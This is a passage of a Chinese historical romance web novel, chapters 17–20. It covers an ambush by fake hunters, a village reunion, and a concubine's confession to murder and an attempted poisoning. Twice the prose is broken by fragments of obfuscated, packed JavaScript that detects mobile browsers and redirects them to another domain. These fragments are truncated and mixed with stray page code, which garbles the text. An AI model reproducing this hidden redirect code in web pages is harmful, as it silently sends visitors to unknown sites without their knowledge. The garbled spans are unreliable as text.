苏尔茗不禁有些雀跃，正巧那木屋里忽然出现一人，她立刻激动地喊道：“敢问大哥，出山的路往哪边走？” “别……”陆远阻止的话语还未说完，那名男子闻声而来。 随即，简陋的木屋里又走出一名男子，见到他们二人，面上忽然变得有些热情。 陆远正要阻止苏尔茗继续说下去，那两名黑瘦的男子转瞬已经到他二人面前。 细长眼的男人，上下打量了他们，“这里是原东山，你们……这是迷路了？” 另一人肤色黝黑，手里还拿着柴刀，隐隐同细长眼男人形成夹角之势，语气热切：“我看你们夫妻神色疲惫，不如进来歇歇脚？我兄弟二人，晚些可带你们一同出山。” 苏尔茗正要辩驳，却听到竹奕语气带笑说：“好，那我和内子便叨扰二位。” 她捏在他肩头的手指一紧，感受到竹奕轻点她的膝弯，只好抿唇点了点头。 那兄弟二人便勾肩搭背地往小屋方向去，给他们引路。 竹奕极快地扭头看她一眼，神情出乎意料得严肃。 这二人……莫非哪里不对？ 17. 第 17 章 破旧的木屋门前，猎户兄弟其一先推开门，掀起一块由各色布帛拼接的门帘，屋里的肉香扑面而来。 屋内陈设十分简陋，正中一个火炉上吊着个瓦罐，旁边插着几根木签，上面穿着半生的肉。 火炉附近，只有劈开的木桩当做板凳。 往里瞧，里面有一个小小的卧房，只有边缘被磨得光滑的木板床和用得发黑的破棉絮被子，墙边支着一杆木枪，枪头锋利。 另一人等苏尔茗他们进去，才缓缓将门合上，将手里的柴刀放在门边，走到木桩旁和细长眼男人挤坐在一处。 “先坐吧，不用客气。”他用手指了指，留给他们二人单独一个木桩，“我叫尤大，他是我弟弟尤山。” 陆远蹲下身轻轻地将苏尔茗放在木桩上，这才抱拳：“多谢二位兄弟，我名竹奕。” 他掀开衣袍随意落座，带着几分潇洒不羁，落在苏尔茗眼睛中，她眼神微动。 苏尔茗甫一落座，立刻感受到两道视线落在她脸上。 她想起方才在门外她冲动招呼，此刻忽然生出些惧意，抿抿唇，缩在竹奕身后。 那兄弟二人见她不说话，尤大笑了笑，将烤好的肉串递过来：“你们赶了多久的路？先吃些东西吧。” 陆远伸手接过，另一只手已经将腰间的玉佩扯下，他轻轻地摩挲两下，正要递出去，却发觉自己的衣袖被扯住。 “夫君，你这块不如我的成色好，用它吧。” 苏尔茗将自己的玉佩递过去，随手拿起他腰间的那块，塞进了自己的袖袋。 陆远微微一怔，原本情急之下想要把母亲所赠的遗物用来救急，不过片刻犹豫就被她发现，心中不由一软。 他柔声道：“好，就依你。” 尤山的视线落在他们身上，意味不明地说了句：“你们夫妻二人感情可真好，怎么新婚燕尔跑到这山里来耍，还受了伤？” 陆远不答，反将手中的一看便价值不菲的玉佩递给尤大，“小小心意，还麻烦二位兄弟为我们引路，届时还将有重礼相谢。” 尤大接过玉佩狠狠地用牙咬了两下，对着火光看了又看，才小心翼翼地才收进怀中。 他立刻用胳膊肘杵了下尤山，黑着脸一瞪。 “哎呀，我也就是好奇。”尤山打着哈哈，捻着唇边的两撇胡，眼神却一直落在苏尔茗身上。 苏尔茗收回目光，发现陆远接过肉串后却并不着急吃，先掏出来早上摘下的野果拿给她。 她乖巧地接过，用衣袖擦干后又递回给他一个，看起来似如胶似漆的小夫妻。 自从陆远眼神严肃地警告过她后，她就不曾再主动开口，只默默地观察这兄弟二人。 一顿午膳简单的糊弄完，尤大站起身，身量几乎与木屋的门框边缘齐平。 他伸了个懒腰，状似无意地问询，“小兄弟，正巧我要去取陷阱里的猎物，你媳妇的脚也受伤了，要不你跟我一同出去，捡点木柴？顺便还能给她做个夹板。” 苏尔茗瞬间扭头看向陆远，若是他们二人一同离去，意味着她和尤山将共处一室，而且她因为双脚的伤，几乎还无还手之力。 陆远眉头微微一皱，还未开口。 尤山立刻插话道：“你们这吃也吃喝也喝了，不会帮忙捡个柴都不愿意吧？” 他们坐着的木桩十分低矮，尤氏兄弟二人站起身俯视他们，给人格外的压迫感。 半晌，陆远面无表情地笑了笑，站起身护在苏尔茗身前，寸步不让：“内子胆小，离不开我。既如此，不如我背着她一起去。” 尤山脸上猥琐的笑意瞬间凝固，捻着胡子的手停了下来。 他扭头看向尤大，使了个眼色，装模作样拍了下额头，：“嗐，你看我，忘记玉佩的事儿了。那我跟大哥去吧，就不劳你们费心了。” 尤山边说着，慢慢往里间走，拿起来那杆木枪，顺手将水囊背在后身，一副要出门打猎的模样。 苏尔茗在他回身进屋的时候，咬牙忍着脚上的痛楚，悄悄挪过去，将那柴刀握在手里，借着衣袖的遮掩递给竹奕。 她趁那二人使眼色的时候，重新爬上了竹奕的背，她十分清楚眼下自己才是累赘，更是这兄弟二人古怪言行的目标。 眼下她能依靠的人，只有竹奕。 如她所料。 那木枪，却在尤山即将走回外间时，枪尖状似无意地对准了陆远。 “哥，我们走吧……”尤山说着，那锋利的枪头自一个刁钻的角度直冲陆远心口！ 尤大在弟弟出手的时候，便随手往门口放柴刀的地方一捞，没成想竟然落空！他半弯着身子往地上一瞧，门边空无一物！ 他霍然抬头，只见枪尖直戳而去。 陆远动了，青色袖袍划出半弧，亮出一抹光。 一刀，携万钧之力。 “喀嚓——” 那木枪的枪头应声掉落，力道震得尤山不得不将木棍脱手，狼狈后退几步。 尤大只觉面前一道呼啸而过的烈风，带着锈边的柴刀直直他的面门。 他惊恐地瞪大眼睛，“你……你要做甚！” 陆远冷着一张脸，掷地有声：“这话该是我问你！” 尤山一见那柴刀在陆远手中指着尤大，吓得哆哆嗦嗦后退，却被木枪杆绊倒，跌落在地。 他颤声道：“你……你欺负老实人，我们只是这山中的猎户！觉得那报酬不够，想再问你要些罢了！” “是吗？”陆远环视这间破木屋，毫不留情地拆穿，“身为猎户，将兽皮挂在屋外，却盖着破棉絮被子。门前门内各两个火堆，且外面那个刚刚熄灭不久，分明是早就知道我二人要来；门帘上拼缝的布料竟然还有昂贵的南云锦……” “种种破绽，你说自己是寻常猎户？倘若普天之下猎户都如你们这般阴险狡诈，那我大燕的王法才是一纸空谈！” 那两兄弟却在被拆穿后，惨白着脸“噗通”一下跪在地上，连连跪拜求饶。 苏尔茗靠在陆远背上，感受到他说话发出的强烈震动，才发觉他似乎有些气愤。 一个……似乎颇为正义的打手。 她没想到他在进木屋之前，就发现这二人的端倪，却因她心焦想要尽快回去，出声问路而拖累了他的计划。 她垂下眼，不再看那尤氏兄弟惊恐的眼神，心底只有无尽的后怕，放在他肩头的手不自觉地缓缓收紧。 陆远微微偏头，视线落在肩上，却没言语。 她紧盯着那诈降的尤氏兄弟，轻声提醒：“你小心些，他们……” 话音未落，伏倒在他们眼皮下的尤大，忽然从胸前掏出一把匕首，扬起来便要狠狠往陆远身上扎去！ 陆远早就有所防备，抬腿便将那匕首踢飞，险些插在尤山的 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等他另寻路找到爆炸之处，看到地上躺着平远县半年未抓到、如今却生死不明的高奉，他不得不将人送回恩自县大牢，再派人搜寻主子。 一日一夜的搜寻，生不见人死不见尸。 他顺着原东山的山脉与河流，找到了山脚下的一个小村落。 回恩自县的路如今被巨石所堵，最早也要明日才能彻底恢复通行。 他猜想，主子数次死里逃生，若是活着一定会出现在这里。 村中他已打听过数遍，这两日并未有落难的行人来村中借住。 于是，他手里紧紧地握着找回来的剑，在小村庄的门口直挺挺地等着，直到黄昏时分，他心头的希望同日头一起消失在天边。 竹年长叹一口气，浑身筋疲力竭、腹中饥饿，他捧着那剑缓缓蹲下，慢慢红了眼圈。 拖沓带脚步声响在沙土地上，他带着惊喜霍然抬头，却只见一个背柴的村民自山中回来。 竹年眼神中的光彻底熄灭，疲倦如同潮水一般涌来，跌坐在地。 “竹年。” 有人在唤他，他这两日无数次地出现这样的幻听。 他视线里忽然出现了一双皂靴，只见陆远风尘仆仆、满脸倦容，他前面拴着一根绳子，牵着一个……哭得涕泗横流的男人。 “主……！”他猛地一下站起，眼前黑了一瞬。 他眨眨眼睛，忽然看清睡在主子背上的女子，竟是那沈家的夫人！ “竹年。”陆远用眼神阻止竹年脱口而出的话，淡声吩咐：“这人和山中木屋的人，明早叫人一同带去最近的府衙。” 竹年木讷地接过绳子，眼神还停留在沈夫人和自家主子身上打转。 “你报官后便去休息吧，我明日送她回恩自县。”陆远回头瞥一眼，确认没有惊动背上熟睡的人，才缓缓往小村落里走去。 原本安静的村落在见到他后，忽然起了波澜。 “就是他！” “我在山里看到了，就是他惊扰了山神，才害得老李家的儿子被山神降罚，至今尚未苏醒！” 先前那名进村的樵夫，拿出柴刀正对着陆远。 渐渐地，村里的人抄起各自的农具，一步步向他们逼近。 18. 第 18 章 远山隐在暗处，宛如蛰伏的巨兽。方圆十里，只有一处平坦的土地孕育出了村落。 而这小村落里，家家户户的男丁举着火把，神情厌恶地盯着村口。 为首的村长手持着犁地的钉耙，指着刚刚进村想要借宿的陆远，“你们惹怒了山神，还有脸进我们的村子？滚出去！” 陆远拧眉，感觉背上的人被责骂声惊动，神情渐渐不悦。 他不打算与村民争辩，正要另择他去。 人群中忽然跑出来一个妇人，扯住他的衣袖，横眉怒目：“你说走就走？我儿子的命怎么办！” “明明是你们的错，凭什么要我儿子来受罪，他才十二岁！” 陆远被这猛地一扯晃了晃，他立刻避开，但这番吵闹动静还是吵醒了苏尔茗。 她揉揉眼睛，明亮的火把让她睁不开眼，声音带着点沙哑，“怎么了？” 陆远冷脸将衣袖扯回，淡声安抚：“无事，是个误会。” 妇人一听更不乐意，“什么误会？李二叔亲眼瞧见还能作假不成？！” 一旁，竹年连忙上来解释：“昨日山上的动静是有人用火药炸山，并非什么山神之怒，那罪魁祸首已经被官府抓走了！你若需要治病，可以去县城的医馆，不可平白无故讹人！” 竹年的解释令村民更加震怒。 那妇人不依不饶地扯住了竹年，硬是将他往村里拖去。 陆远原本不想惊扰苏尔茗，倘若是他一个人，亲自将那受伤的孩子送去就医便可，哪怕是想要些银钱也使得，可…… “姜婶？”苏尔茗的声音虽轻，却像是泼了一盆冷水，让村民瞬间安静。 姜婶听着声音的方向，三两步靠过去，陆远警惕地后退了两步。 直到姜婶看清了陆远背上的苏尔茗，瞪着大眼认了半天，喊道：“哎呀，茗丫头！怎么是你！你不是嫁去县城沈家了吗？” 被村民围住的竹年，猛地松了一大口气。 矮小却温馨的小屋里，灶房烧炭的热气缓缓传到屋中，隔绝了山里入夜的冷风。 苏尔茗坐在屋中唯一的椅子里，双腿搭在木板凳上，她低声解释：“那日我被贼人从恩自县掳到山里，他想要杀了我，幸得这位竹奕大哥相救。” 她看着默默站在她身后的青色衣袖，顿了顿，“但贼人狡诈，想用火药将我二人炸死，我们落入山中河流，被带来此处。” 屋里站着几个村中管事的男丁，听完皆是满脸凝重。 不远处，另一间屋子的床上躺着个悄无声息的孩子，头上的布巾还染着血。 他们齐齐围在屋里，你看我我看你，不知该如何是好。 姜婶一手一碗热粥，从男人们中间挤过来，放到她面前，搓了搓手，有些不好意思：“实在是抱歉，误会二位兄弟，先前……是我们心急。” 姜婶边说着往孩子那边看了一眼，眼圈渐红，淌出大颗的泪，“可我那儿子小胡桃，已经昏迷了整整一天一夜。村里通往县城的路，最早也要明日才能通行，去县城瞧病。” "我实在没了法子，要不……要不我也不会信山神将罚。” 苏尔茗想要拿出自己的帕子，摸了下袖袋，却只有一块冷硬的玉佩，她只好拉着姜婶的手柔声安抚。 “父亲从前来村里教书，就是不愿你们再信这些。明日我回县城，姜婶你可以随我一同，带上小胡桃去诊病。” 姜婶的丈夫李旺在一旁直叹气，他双手死死地攥紧缝缝补补的衣裤，面上尴尬羞赧：“可我们……付不起那诊病的钱，不然背也背他去县城了。” 苏尔茗缓缓端起桌上那一碗稀粥，喝下一口，声音染上几分暖意：“今日我承你们的恩，小胡桃的诊金由我来付。” 姜婶脸上还挂着泪，惊讶地抬头看她，下意识喃喃道：“哎……哎好……” 她手忙脚乱地在围裙上蹭了蹭手，去衣柜翻出来自己半新的一套衣裳，堆到她怀里。又连忙杵了一下自己的丈夫，让他去烧水。 她这才破涕而笑，“茗丫头，别嫌弃，今晚你就宿在我屋里吧。” 苏尔茗望着她忙前忙后，动了动唇，还是没再客套。只见姜婶将那些男人一股脑轰了出去，只留苏尔茗和陆远在里间。 她将手边那有些结了膜的粥水端给陆远，示意他坐下吃些东西。 “我父亲以前曾来过这个村子教书，做了快一年的教书先生，我那时随他过来待过一段日子。年纪小，差点不记得。”她轻声解释，声音有些怀念。 那时候她还并未出嫁，只是爹娘的女儿，在村子里不用做一板一眼的淑女，可以下河摸鱼，去树上摘果子。 陆远坐在一旁静静地听着，接着端起碗的时候，不经意地瞥过她微微翘起的唇角。 他十分清楚，即便如此，她明日还是坚持要回恩自县。 他将粥碗放下，肚腹中暖和几分，但心头有些憋闷。索性将怀中的那瓶剩下的药膏放在桌上，站起身，往外走。 “你好好休息，有事再叫我。” 远远地传来一声“嗯”，他看了看自己的掌心，忽然觉得背后空落落的。 他推开门出去，一股冷意灌到鼻腔。深吸一口气，看到了一旁目光好奇的竹年。 “竹奕？”竹年脸上虽有疲色，但难掩揶揄。 陆远接过竹年手中的包袱，没给竹年一个眼神，径直走向河边去沐浴。 竹年抬头瞧了瞧被吊在树上的尤山，摇了摇头。 边走边自言自语，不知道说给谁听：“啧，你完喽。” 月上梢头，繁星如许。 陆远才见姜婶从主屋里出来，手里拿着苏尔茗换下的旧衣。 他拦住姜婶，淡声问：“她可睡下了？那伤口可还好？” 姜婶上上下下打量他半晌，不答反问：“你……不是沈万金吧？” 见他一时语塞，她围着他绕了两圈，有些恶狠狠地警告：“她的事情，跟你有什么关系？今晚你同老李一起睡去！” “她是我的雇主，我要保护她的安全。”陆远神色平静，并不反驳。 “呸！” 姜婶狠狠一啐，颇为怀疑：“你别以为我们小村子里没见过世面，那家的护卫能长成你这种模样？我看你啊，趁早死了这条心！” 她不再同陆远纠缠，手一指厢房，告诉他那是他过夜的地方，哼着歌去打水洗衣裳了。 陆远望着那小屋中的烛火，往前走了两步。却见烛火忽然熄灭，院中一半陷入昏暗，只能听到不远处的狗吠声。 他终是换了方向，身影渐渐隐入屋檐下的暗处，消失在屋内。 冷硬的木床上，苏尔茗盖着一张薄薄的毯子，看着另一间屋里姜婶忙忙碌碌为儿子擦洗身体的身影，鼻子发酸。 然而她终是累极，眼中的泪还未滑落，便进入了梦乡。 第二日，唤醒苏尔茗的是熟悉的菌菇香气。 她鼻翼翕动，连日的惊吓劳累过去，让她食指大动。 她连忙坐起身，看到消肿的后呈现青黄痕迹的右脚，缓缓试探着想要下床。 这时，屋门忽然被打开，陆远一手端着热乎的汤碗，另一只手连忙去搀扶她。 力道不轻不重，待她稳住身体在床边坐稳，他便收回了手。 自脱离危险后，他毫不逾矩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413798|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你的脚还没有完全好，先不要着急踩地。”陆远将早膳放在不远处的小案几上，端着那案几放在坚硬的床上，递给她一双木筷。 她点点头缓缓接过，眼睛里望着那蘑菇汤，飘起的淡淡白烟熏得她视线模糊。 姜婶的蘑菇汤，还是同父亲学来的手艺。 她端起碗吹了吹，大口地喝着，眼泪落入碗里顷刻不见。 胡乱将眼泪一抹，她装作若无其事地问：“你不吃吗？这些我一个人吃不完。” 面前一碗汤，还有两个野菜团子，一碟咸菜。这几乎是她小时候常吃的食物，此刻是她日夜思念的味道。 陆远低头看着她微红的眼角，手指动了动，终是背在身后攥成拳，“我在灶间吃了些，今日要赶一天的路，你多吃些。” 苏尔茗有些意外地看了他一眼，第一次听他提起赶路，她捻着筷子想了想：“你放心，到沈家我就会付你应得的报酬。” 陆远顿了顿，淡声道：“好。我先去准备一下。” 他大步往门外走，却在即将迈出门槛时悄悄放缓了步子，看到苏尔茗吃下菜团那一瞬间眯起眼睛开心的神情，眼底稍稍一暖。 随即，脚步轻快地出了屋。 不远处，姜婶边吃边和夫君李旺说悄悄话：“茗丫头真是个有福的，嫁了个县城首富不说，这个傻小子，还一大早去山里采蘑菇、挖野菜，跟骗我说是茗丫头哭着想吃这一口。” “这讨好姑娘，哪有用这种东西的？要是这东西好吃，那些城里人怎么都不吃？”姜婶撇撇嘴，狠狠地啃了一口手里的菜团，“好在他给我些银子，不然我才不受这个累！” 李旺闷声道：“你少说两句，今天有白吃的东西就不错了。小胡桃的病，还得指望着茗丫头。” 姜婶放下碗筷，抹抹嘴：“你自己看家，我收拾收拾带小胡桃去瞧病。” 日头翻过高山，照亮山中的小村落，一辆马车自村中平稳地驶入了官道。 马车比较小，只能让姜婶和小胡桃挤在车内，苏尔茗和驭马的陆远坐在车厢外的木板上。 晃晃悠悠，马车终是在日落之前进了恩自县，停在了城东医馆的门口。 小胡桃被竹年帮忙抱进医馆，姜婶背着包袱亦步亦趋的跟着。 陆远正想调转车头往沈家方向去，苏尔茗却忽然说：“既然来了，不如让人帮我瞧瞧这脚上的伤，你扶我进去吧。” 他牵着缰绳的手一松，跳下马车，却见苏尔茗已经执拗地用脚踩在了地上，只将一只手递给他。 他拖着她的胳膊，二人慢慢挪入堂内。 堂内原本因方才竹年带着昏迷的小胡桃求诊，而吸引了诸多目光，林蕙和舒柏都围上去瞧，连忙让竹年将孩子放在一旁的针灸木床上。 舒柏一边摸脉象一边琢磨药方，林蕙立刻去取纸笔。 她目光扫过门前忽然出现的人影，顶着落日的光看不清眉目，但显然发现那粗布衣裳的女子腿脚似乎受了伤。 她下意识迎了上去，看到苏尔茗熟悉的脸，怔了一瞬，立刻垂下眼看她受伤的脚，掩藏住眼中的惊讶和喜悦。 “先过来这边坐，”她手一指旁边的木凳，将纸笔交给堂内其他的伙计，赶去给舒柏帮忙，自己落座在苏尔茗面前，“你这双脚，可否掀开衣摆给我瞧瞧？我好为你配药。” 苏尔茗微微笑着，点了点头。 马车停到沈家门口时，夜色已深。 门房的小厮一见陌生的马车，立刻上前询问，却见那车上下来一个粗布衣衫女子，还拄着拐。 小厮愣了愣，大惊失色：“夫人？你不是回娘家了吗？！” 19. 第 19 章 沈家后院，下人们来来去去，撤掉用过的膳食，为屋内重新燃起熏香换上热茶。 沈万金坐在木椅上，缓缓喝下一口茶水，咕噜噜地漱口，转身吐在芸娘手中捧着的瓷瓶里。 箐箐端着一盏茶，单手提起桃红的裙摆迈过门槛，款款而来。 “老爷，今日不妨尝尝妾身泡的茶，可还入得了口？” 沈万金没等她将茶碗放在案几上，抬手从她手里接过，放到鼻前一闻，语气带笑：“何时学了这么一手？放了十二窖的茉莉花？” 箐箐笑而不语，示意他尝尝。 他掀开碗盖，浓郁的花香带着升腾的热气扑面而来，呛得他喉间有些发痒，“咳咳……” 端着茶碗的手，立刻被晃荡出来的滚烫茶水烫红。 箐箐焦急地掏出锦帕，迅速将他手上水渍抹去，轻轻地吹气，娇声嗔怪：“老爷，别急嘛。你若是烫出个好歹，以后谁来疼妾身？” 她身子一扭，依偎进沈万金的怀中，借着那茶碗轻轻地喝了一口，便要往他唇上吻去。 这时，一个急促的脚步声自院外而来。 芸娘不动声色地看向那碗茶水，抬步正要阻止来人。 可那粗使丫鬟眉眼间怯生生地，却带着一股倔劲，索性站在院内扯着嗓门通报：“老爷，夫人回来了！” 沈万金听闻，身子下意识一闪，避开了箐箐吻上来的唇，眉头登时皱起。 箐箐满脸错愕，只得将口中茶水咽下：“老爷……”她伏在沈万金的肩头，往院门口怨毒一瞥。 这个女人当真是好命，这都能让她活着回来！ 沈万金低头抚上箐箐面色潮红的脸蛋，眉头渐松，将茶碗放在案几上。 而后在她腰上轻轻掐了一把，柔声安慰：“晚点回来陪你。” 箐箐从善如流地起身，眼睛却悄悄落在那盏茶上，轻声撒娇：“老爷，妾身泡的茶，你一口都不喝，就要忙着去看她吗？” 她眼底疯狂闪动。 只要沈万金喝下这杯茶，沈家话事人就是她和苏尔茗之间的事。 沈万金离去的身形一顿，回身替她将耳边的鬓发别到耳后，只给她个安抚的眼神。 芸娘从门外丫鬟口中问询清楚情况，匆匆赶来回禀：“老爷，夫人似乎出了些意外，正房丫鬟们正伺候着更衣沐浴。” 沈万金即将迈出屋门的步伐，终于收回。 他盯着芸娘的发顶，声音波澜不惊：“是吗？她出了意外，回来第一件事竟是要沐浴？” 屋中回荡着沈万金冷冷地质问，吓得众人大气都不敢出。 他抬袖捋了捋身上由箐箐弄出来的褶皱，将手背在身后，转身看了一眼那茶碗，轻声说了句：“箐箐，待我回来，你再重新泡一杯吧。” 然后抬脚迈出了屋门。 芸娘回头看了一眼脸色灰败的箐箐，终是什么也没说，跟上了沈万金去往正院的步伐。 箐箐见沈万金头也不回地出了院子，跌坐在木椅上，一脸颓然。 她眼里猝不及防地涌出一串串泪，双手缓缓掩住脸颊，喃喃道：“江幸……我等不到你功成名就，回来见我的那日了。” 两日不曾亮起烛火的正院，此刻终于有了几分人气。 丫鬟们忙着烧水更衣，平日木讷漠然的脸上终于多了一点喜气。 沈万金见着一个小丫头捧着一盒银票往前院去，眼中刚露出一点深究之意。芸娘立刻叫住她，问清缘由。 小丫鬟顺从地交代：“夫人命我将三千两银票交给门口等着的车夫，说是感谢之用。” 沈万金眼神落在那银票上，沉吟片刻，扭头吩咐芸娘：“既是他对夫人有恩，再去库房拿几样值钱东西，一并送去，让他把嘴闭上。” 芸娘应声而去。 沈万金继续前往正房，刚刚迈过院门，便见正房的屋门忽然打开。 一个粗使丫鬟瞧见他，兴冲冲地往屋里喊：“夫人，老爷来看你了！” 沈万金更加不悦，大声吵嚷，成何体统！ 他沉着脸迈进卧房的门，就见苏尔茗坐在临窗的罗汉床上，旁边放着一副拐杖。 她双脚皆有厚厚的纱布缠绕，散发出一股令人极为不爽的药味。 沈万金的脸色越发难看，他一挥手清空了屋中所有的丫鬟，看向平时放藤鞭的位置，才想起那日藤鞭已断。 “你去了何处？”他冷声问。 没成想苏尔茗的声音比他怒意更甚，她将那双拐往地上一掷，冷眼瞪着他：“这话，应该问问你那心尖上的姨娘！” “问她何时与高奉勾结！” 沈万金被彻底点燃了怒火，他阴鹜地盯着她，一步步走近：“你知不知道你在说什么？高奉是平远县头号通缉犯！” “那我告诉你，他如今人就在恩自县县衙的大牢！”她头一次分毫不让，直直地对视着沈万金。 那日的恐惧，让她说出口的话都带着颤音。 她隐在袖子下的拳头握紧，“箐箐和高奉二人合谋害我！我侥幸逃出，你不但不报官寻我，还谎称我回娘家，是怕损了你沈家的名声？” “你！”沈万金的手高高扬起，怒不可遏，“胡说八道！” 卧房大门忽然被推开，忽然迈进来一个桃红的人影，细眉圆眼，看起来懵懂的脸上此刻写满了憎恶。 沈万金目光极为不悦地扫向大门，一见来人是箐箐，立刻柔和了眉眼。 “是我做的又如何？”箐箐挑衅道。 沈万金似是不敢置信，倏地放缓了声音问：“箐箐，你为何要这样？我向你保证过，她抢不了你的任何。” 箐箐目不斜视地从沈万金眼前走过，她缓缓弯腰将那双拐捡起来瞧了瞧，俯视着苏尔茗：“你能从高奉手里活下来，还让他蹲了大狱，当真算你命好。” “可若不是你突然回来坏了我的计划，这沈家就将是我的了。” 苏尔茗眼里写满了诧异。 她噗嗤一笑，扭头看着同样愣住的沈万金，讥讽道：“你不会觉得，我真的爱你？” 他难以置信地捂住胸口退了两步，更加错愕的模样似乎极大地取悦了箐箐。 她大笑着斜倚在罗汉床的凭几上，一口啐在他脚边：“沈万金，你有什么值得我爱的地方？” 苏尔茗被这一番话震惊地无话可说，她眼见着沈万金的额间绷出青筋，双目赤红地死死地盯着箐箐。 他大口喘着粗气，声音像破漏的风箱，时不时呛咳几声。 就连被他习惯性摘下后，死死地握在掌心的扳指，手指用力到发白，也不曾对箐箐挥出下死手的一拳。 她忽然讽刺一笑，端起手边的茶碗喝了一口。 没想到沈万金也有朝一日，在女人身上栽了跟头。 沈万金脸上憋得发红，连连咳嗽，声音几乎从牙缝中挤出：“箐箐，你不要说气话来激我！只要我还在一日，就能保你一日富贵，你还有何不满足？” “苏尔茗是沈家的主母，是我沈家的门面。沈家名声是我沈万金多年来的心血！除此之外，你要什么都可以！” 话音刚落，箐箐抬手就将她方才喝过的那盏茶，泼在沈万金脸上！ “我要你死！” 箐箐一把将罗汉床上的矮几推到地上，掏出怀里的匕首，趁沈万金反应不及，一个鲤鱼打挺扑过去！ 沈万金猝不及防一声闷哼，脸上还有滚落的茶水，让他睁不开眼。 她下意识用手紧紧地握住刀刃，硬生生止住了匕首力道，仅没入了刀尖半寸。 鲜红的血自刀刃间滴落，不过眨眼功夫，沈万金咬牙用力一拧，挣脱了箐箐的力道，便将那匕首甩到地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女子木着一张脸并不看他，面色却透出几分急切，快速交代：“我家老爷希望恩人可以保守秘密，不要再有其他人知晓，对夫人的名声不利。” 她见他沉默地点点头，把赏赐往车板上一放，急匆匆地消失在垂花门后。 陆远又想起门口小厮见到苏尔茗的惊讶，只觉得沈家处处透出古怪。 他回身盯着那盘车厢里的金银，自嘲地一笑，像是说给自己听：“按我一月俸禄来算，这些钱，怕不是要给她做一辈子打手。” 马蹄带着马车嗒嗒地远去，拐入了沈家旁边的小巷，消失在明亮的月色里。 当日夜里，沈万金病倒了。 而距离苏晴入府的时日，只余三日。 苏尔茗晨起时用早膳，不见沈万金的人影，她胃口也好了些许。想到三日后的宴席，她单独留下芸娘问话。 芸娘将先前她准备的清单一样样核对过后呈给她，末了，说起宾客，“张大人的请柬还未送出，可要派人亲自走一趟？” 苏尔茗顿了顿，想起自己被掳走前，屋中桌子上那张请柬。 这两日，沈万金竟一步也未踏入过她的屋子，莫非当真对箐箐情根深种？ 她将礼单放下，神色莫名：“老爷可能有自己的安排，不要多事。” 芸娘应声，正准备退下。 她话锋一转，拦住芸娘的脚步：“你何时成了箐箐的人？” 她的卧房是沈万金命人特殊处理过的，极为隔音。可芸娘却在昨日，第一次冒失地进门打断沈万金，救了箐箐一命。 芸娘转过身，逆着光看不清她的表情，轻轻答道：“芸娘只是个奴婢，算不得人。” 不待她回答，芸娘绕到她身后，推动了她身下的轮椅，直直地往箐箐的院落里去。 箐箐想要见她一面。 芸娘说：“只要夫人完成她一个心愿，后日沈家将易主姓苏。” 20. 第 20 章 院落里一片诡异地宁静，连平日的粗使丫鬟也都看不见人影，只有轮椅的木轮和青石板的细碎摩擦声。 偶尔蹦起一颗石子，落入旁边的草丛，惊起飞鸟。 苏尔茗听完芸娘转述箐箐的话，半晌没言语，任由芸娘将她往院子里推去。 直到见到屋内一身月白素色衣衫的箐箐，一支木钗挽发，素面朝天像是换了个人。 芸娘将她推进屋，而后轻轻走出去，带上了门。 屋里奢华的陈设消失不见，一眼看过去便觉得空荡冷清。 空气中泛着一股秋风冷冽的味道，与平日里烟熏雾绕的浓烈熏香，极为反差。 苏尔茗冷眼看着颓废躺在矮榻上、与苏晴八分相似的脸。她错开了目光，淡淡开口：“箐箐……” “我叫文琴。”文琴声音十分倦怠，像是陷入回忆里，“我这辈子，都只有这一个名字。文采斐然的文，琴瑟和鸣的琴。” “我原本……与他约定过，等他秋闱结束、衣锦还乡时，便回恩自县娶我。结果，我被爹娘下了药，出现在沈万金的别苑。后来，你应该也都清楚了。” 苏尔茗不置可否。 “所以我想杀了你，”她高高举起手里的茶杯，像是喝酒般一饮而尽，神情落寞，“若不是你拒绝让苏晴入府，我也不会出现在此处。” 苏尔茗皱眉，十分不赞同：“这是何道理？沈万金强抢民女，苏晴亦是受害者，怀璧者便是有罪？” “道不同，不相为谋。我并不想听你的苦衷，也不可能原谅你。”她失望地垂下眼，缓缓转动轮椅想要离开，“你若安生，沈万金不会为难你。” 文琴斩钉截铁：“我今日拜托芸娘将你带来，便是要同他做个了断。” 她缓缓起身，月白的裙摆在她脚边像翻腾的浪花，明明不是京中盛行的淑女的步态，却别有一番自由的姿态。 她从桌上拿起厚厚的一叠信，硬塞在苏尔茗手里，用手将信封死死地压在她掌心。 “待我死后，你将这几封信，每月一封寄往京城。”她口中残余的茶香，浅浅的喷在苏尔茗面上，语气十分温柔，“然后替我寻一处好地，将我葬了。” 她说完便懒洋洋地直起身，姿态散漫，眼神却死死地盯着苏尔茗的反应。 苏尔茗低头看向手中的信件，粗略一看竟有数十封以上，收信人无一例外都是江幸。 信封上的墨迹似乎是方才干透，有些边缘残留着被水渍打湿的痕迹，微微有些不平整。 她抬头看向目光紧锁的文琴，发现她眼下浓浓的青黑，原来竟是一宿未眠。 她郑重地把信拿起，抬手递回去：“你自己寄，我可以放你走。” 文琴不接，反而将一个鼓鼓囊囊的包袱提来，一股脑的堆在她怀里，里面的东西竟压得她腿发酸。 “这些你帮我一并给他。” 她像是松了一口气，轻快地拍了拍手，轻飘飘地落下一句：“哦，忘了告诉你。是我亲手杀了我爹娘，高奉落网，我必死无疑。” 苏尔茗豁然抬头，“你……” 文氏夫妇惨死之事，街头小巷到处都在说是高奉所为。 杀人后剜人心肝，手段残忍至极。 文琴的手缓缓地摸上自己的小腹，里面孕育着新的生命，可她脸上并无喜色：“我原本想杀了他们以后，再杀死沈万金。待江幸归来，我便可以用沈家的家产来弥补我对江幸的亏欠，哪怕不能再嫁，我也甘愿。” “可是你回来了，没让他喝下那杯茶。不然他必死无疑。” 